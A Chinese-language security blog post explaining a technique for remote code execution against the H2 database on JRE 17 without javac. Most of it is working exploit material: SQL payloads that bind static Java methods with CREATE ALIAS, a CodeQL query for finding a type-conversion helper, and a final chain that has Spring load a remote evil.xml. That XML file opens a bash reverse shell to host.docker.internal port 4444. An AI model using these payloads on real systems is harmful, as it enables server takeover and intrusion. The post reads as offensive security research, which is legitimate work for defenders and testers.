H2 RCE 在 JRE 17 环境下的利用

Contents

H2 RCE 在 JRE 17 环境下的利用

RCE

这篇文章来源于去年研究的一个 RCE: https://exp10it.io/2024/03/solarwinds-security-event-manager-amf-deserialization-rce-cve-2024-0692/ (算是炒冷饭了)

H2 数据库 RCE 的常规思路是用 CREATE ALIAS 定义 Java 方法, 这个过程会涉及到调用 javac 命令进行编译操作

1
2
CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "test";}';
CALL EXEC ('open -a Calculator.app');

而众所周知 JRE 跟 JDK 的其中一个不同点在于前者没有 javac 命令, 因此在 JRE 环境下, 执行上述的 payload 会因为没有 javac 命令而报错

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
java.io.IOException: Cannot run program ""javac"": error=2, No such file or directory"; SQL statement:
CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "test";}' [90028-232] (through reference chain: challenge.MyDataSource["connection"])] with root cause

java.io.IOException: error=2, No such file or directory
	at java.base/java.lang.ProcessImpl.forkAndExec(Native Method) ~[na:na]
	at java.base/java.lang.ProcessImpl.<init>(Unknown Source) ~[na:na]
	at java.base/java.lang.ProcessImpl.start(Unknown Source) ~[na:na]
	at java.base/java.lang.ProcessBuilder.start(Unknown Source) ~[na:na]
	at java.base/java.lang.ProcessBuilder.start(Unknown Source) ~[na:na]
	at org.h2.util.SourceCompiler.exec(SourceCompiler.java:387) ~[h2-2.3.232.jar!/:na]
	at org.h2.util.SourceCompiler.javacProcess(SourceCompiler.java:369) ~[h2-2.3.232.jar!/:na]
	at org.h2.util.SourceCompiler.javacCompile(SourceCompiler.java:286) ~[h2-2.3.232.jar!/:na]
	at org.h2.util.SourceCompiler$1.findClass(SourceCompiler.java:167) ~[h2-2.3.232.jar!/:na]
	at java.base/java.lang.ClassLoader.loadClass(Unknown Source) ~[na:na]
	at java.base/java.lang.ClassLoader.loadClass(Unknown Source) ~[na:na]
	at org.h2.util.SourceCompiler.getClass(SourceCompiler.java:179) ~[h2-2.3.232.jar!/:na]
	at org.h2.util.SourceCompiler.getMethod(SourceCompiler.java:244) ~[h2-2.3.232.jar!/:na]
	at org.h2.schema.FunctionAlias.loadFromSource(FunctionAlias.java:134) ~[h2-2.3.232.jar!/:na]
	at org.h2.schema.FunctionAlias.load(FunctionAlias.java:122) ~[h2-2.3.232.jar!/:na]
	at org.h2.schema.FunctionAlias.init(FunctionAlias.java:109) ~[h2-2.3.232.jar!/:na]
	at org.h2.schema.FunctionAlias.newInstanceFromSource(FunctionAlias.java:101) ~[h2-2.3.232.jar!/:na]
	at org.h2.command.ddl.CreateFunctionAlias.update(CreateFunctionAlias.java:49) ~[h2-2.3.232.jar!/:na]
	at org.h2.command.CommandContainer.update(CommandContainer.java:139) ~[h2-2.3.232.jar!/:na]
	at org.h2.command.Command.executeUpdate(Command.java:304) ~[h2-2.3.232.jar!/:na]
	at org.h2.command.Command.executeUpdate(Command.java:248) ~[h2-2.3.232.jar!/:na]
	at org.h2.command.dml.RunScriptCommand.execute(RunScriptCommand.java:120) ~[h2-2.3.232.jar!/:na]
	at org.h2.command.dml.RunScriptCommand.update(RunScriptCommand.java:71) ~[h2-2.3.232.jar!/:na]
	at org.h2.command.CommandContainer.update(CommandContainer.java:139) ~[h2-2.3.232.jar!/:na]
	at org.h2.command.Command.executeUpdate(Command.java:304) ~[h2-2.3.232.jar!/:na]
	at org.h2.command.Command.executeUpdate(Command.java:248) ~[h2-2.3.232.jar!/:na]
	at org.h2.engine.Engine.openSession(Engine.java:280) ~[h2-2.3.232.jar!/:na]
	at org.h2.engine.Engine.createSession(Engine.java:201) ~[h2-2.3.232.jar!/:na]
	at org.h2.engine.SessionRemote.connectEmbeddedOrServer(SessionRemote.java:344) ~[h2-2.3.232.jar!/:na]
	at org.h2.jdbc.JdbcConnection.<init>(JdbcConnection.java:124) ~[h2-2.3.232.jar!/:na]
	at org.h2.Driver.connect(Driver.java:59) ~[h2-2.3.232.jar!/:na]
	at java.sql/java.sql.DriverManager.getConnection(Unknown Source) ~[java.sql:na]
	at java.sql/java.sql.DriverManager.getConnection(Unknown Source) ~[java.sql:na]

此外, 在 Java 17 版本中删除了 Nashorn JavaScript 引擎 (更准确来说是在 Java 15 及以后被删除的), 因此下面这段 payload 也无法使用

1
2
String javascript = "//javascript\\njava.lang.Runtime.getRuntime().exec(\\"open -a Calculator\\")";
String url = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER test BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS '"+ javascript +"'";

那么有什么解决办法呢? 翻阅 H2 数据库的文档可知, CREATE ALIAS 除了创建 Java 函数外, 还能够直接引用已知的 Java 静态方法, 这个过程不需要 javac 命令

https://h2database.com/html/features.html

https://h2database.com/html/datatypes.html

https://h2database.com/html/grammar.html

那么就可以尝试结合 Java 内置库或第三方依赖使用一些特定的静态方法完成 RCE

这个思路其实在去年的文章中已经初见端倪, 当时使用的是 commons-io + commons-beanutils 来实现任意文件写入 + 反射调用

这次再给出一个 Spring 环境下的利用: 利用 Spring 的 ReflectUtils 反射调用 ClassPathXmlApplicationContext 的构造方法

先照着官方文档写一段 payload

1
2
3
4
5
6
7
8
CREATE ALIAS CLASS_FOR_NAME FOR 'java.lang.Class.forName(java.lang.String)';
CREATE ALIAS NEW_INSTANCE FOR 'org.springframework.cglib.core.ReflectUtils.newInstance(java.lang.Class, java.lang.Class[], java.lang.Object[])';

SET @url_str='http://host.docker.internal:8000/evil.xml';
SET @context_clazz=CLASS_FOR_NAME('org.springframework.context.support.ClassPathXmlApplicationContext');
SET @string_clazz=CLASS_FOR_NAME('java.lang.String');

CALL NEW_INSTANCE(@context_clazz, ARRAY[@string_clazz], ARRAY[@url_str]);

但这里会存在一个问题, 如果直接这样执行 SQL 语句的话会报错

1
2
3
Caused by: org.h2.jdbc.JdbcSQLDataException: Data conversion error converting "CHARACTER VARYING to JAVA_OBJECT"; SQL statement:

CALL NEW_INSTANCE(@context_clazz, ARRAY[@string_clazz], ARRAY[@url_str]) [22018-232]

这是由于 H2 不支持 JAVA_OBJECT 与 VARCHAR (CHARACTER VARYING) 类型之间的转换

https://github.com/h2database/h2database/issues/3389

上面的 @url_str 属于 VARCHAR 类型, 而 ReflectUtils.newInstance 传入的参数 args 属于 Object 类型

解决办法是找一个参数是 Object 类型并且返回值是 String 类型的静态方法, 间接实现类型的转换, 可以使用 CodeQL/Tabby 或者手工查找

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
import java

from Method m
where
  m.isPublic() and
  m.isStatic() and
  m.getNumberOfParameters() = 1 and
  m.getAParameter().getType() instanceof TypeString and
  m.getReturnType() instanceof TypeObject
select m

我选择的是 javax.naming.ldap.Rdn.unescapeValue 方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
public static Object unescapeValue(String val) {

    char[] chars = val.toCharArray();
    int beg = 0;
    int end = chars.length;

    // Trim off leading and trailing whitespace.
    while ((beg < end) && isWhitespace(chars[beg])) {
        ++beg;
    }

    while ((beg < end) && isWhitespace(chars[end - 1])) {
        --end;
    }

    // Add back the trailing whitespace with a preceding '\'
    // (escaped or unescaped) that was taken off in the above
    // loop. Whether or not to retain this whitespace is decided below.
    if (end != chars.length &&
            (beg < end) &&
            chars[end - 1] == '\\') {
        end++;
    }
    if (beg >= end) {
        return "";
    }

    if (chars[beg] == '#') {
        // Value is binary (eg: "#CEB1DF80").
        return decodeHexPairs(chars, ++beg, end);
    }

    // Trim off quotes.
    if ((chars[beg] == '\"') && (chars[end - 1] == '\"')) {
        ++beg;
        --end;
    }

    StringBuilder builder = new StringBuilder(end - beg);
    int esc = -1; // index of the last escaped character

    for (int i = beg; i < end; i++) {
        if ((chars[i] == '\\') && (i + 1 < end)) {
            if (!Character.isLetterOrDigit(chars[i + 1])) {
                ++i;                            // skip backslash
                builder.append(chars[i]);       // snarf escaped char
                esc = i;
            } else {

                // Convert hex-encoded UTF-8 to 16-bit chars.
                byte[] utf8 = getUtf8Octets(chars, i, end);
                if (utf8.length > 0) {
                    try {
                        builder.append(new String(utf8, "UTF8"));
                    } catch (java.io.UnsupportedEncodingException e) {
                        // shouldn't happen
                    }
                    i += utf8.length * 3 - 1;
                } else { // no utf8 bytes available, invalid DN

                    // '/' has no meaning, throw exception
                    throw new IllegalArgumentException(
                        "Not a valid attribute string value:" +
                        val + ",improper usage of backslash");
                }
            }
        } else {
            builder.append(chars[i]);   // snarf unescaped char
        }
    }

    // Get rid of the unescaped trailing whitespace with the
    // preceding '\' character that was previously added back.
    int len = builder.length();
    if (isWhitespace(builder.charAt(len - 1)) && esc != (end - 1)) {
        builder.setLength(len - 1);
    }
    return builder.toString();
}

最终 payload

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
CREATE ALIAS CLASS_FOR_NAME FOR 'java.lang.Class.forName(java.lang.String)';
CREATE ALIAS NEW_INSTANCE FOR 'org.springframework.cglib.core.ReflectUtils.newInstance(java.lang.Class, java.lang.Class[], java.lang.Object[])';
CREATE ALIAS UNESCAPE_VALUE FOR 'javax.naming.ldap.Rdn.unescapeValue(java.lang.String)';

SET @url_str='http://host.docker.internal:8000/evil.xml';
SET @url_obj=UNESCAPE_VALUE(@url_str);
SET @context_clazz=CLASS_FOR_NAME('org.springframework.context.support.ClassPathXmlApplicationContext');
SET @string_clazz=CLASS_FOR_NAME('java.lang.String');

CALL NEW_INSTANCE(@context_clazz, ARRAY[@string_clazz], ARRAY[@url_obj]);

evil.xml

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
<?xml version="1.0" encoding="UTF-8" ?>
    <beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
        <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
            <constructor-arg>
            <list>
                <value>bash</value>
                <value>-c</value>
                <value><![CDATA[bash -i >& /dev/tcp/host.docker.internal/4444 0>&1]]></value>
            </list>
            </constructor-arg>
        </bean>
    </beans>

理论上结合不同的第三方依赖甚至 Java 内置库会有很多种利用思路, 本篇文章仅起到一个抛砖引玉的作用 (

0%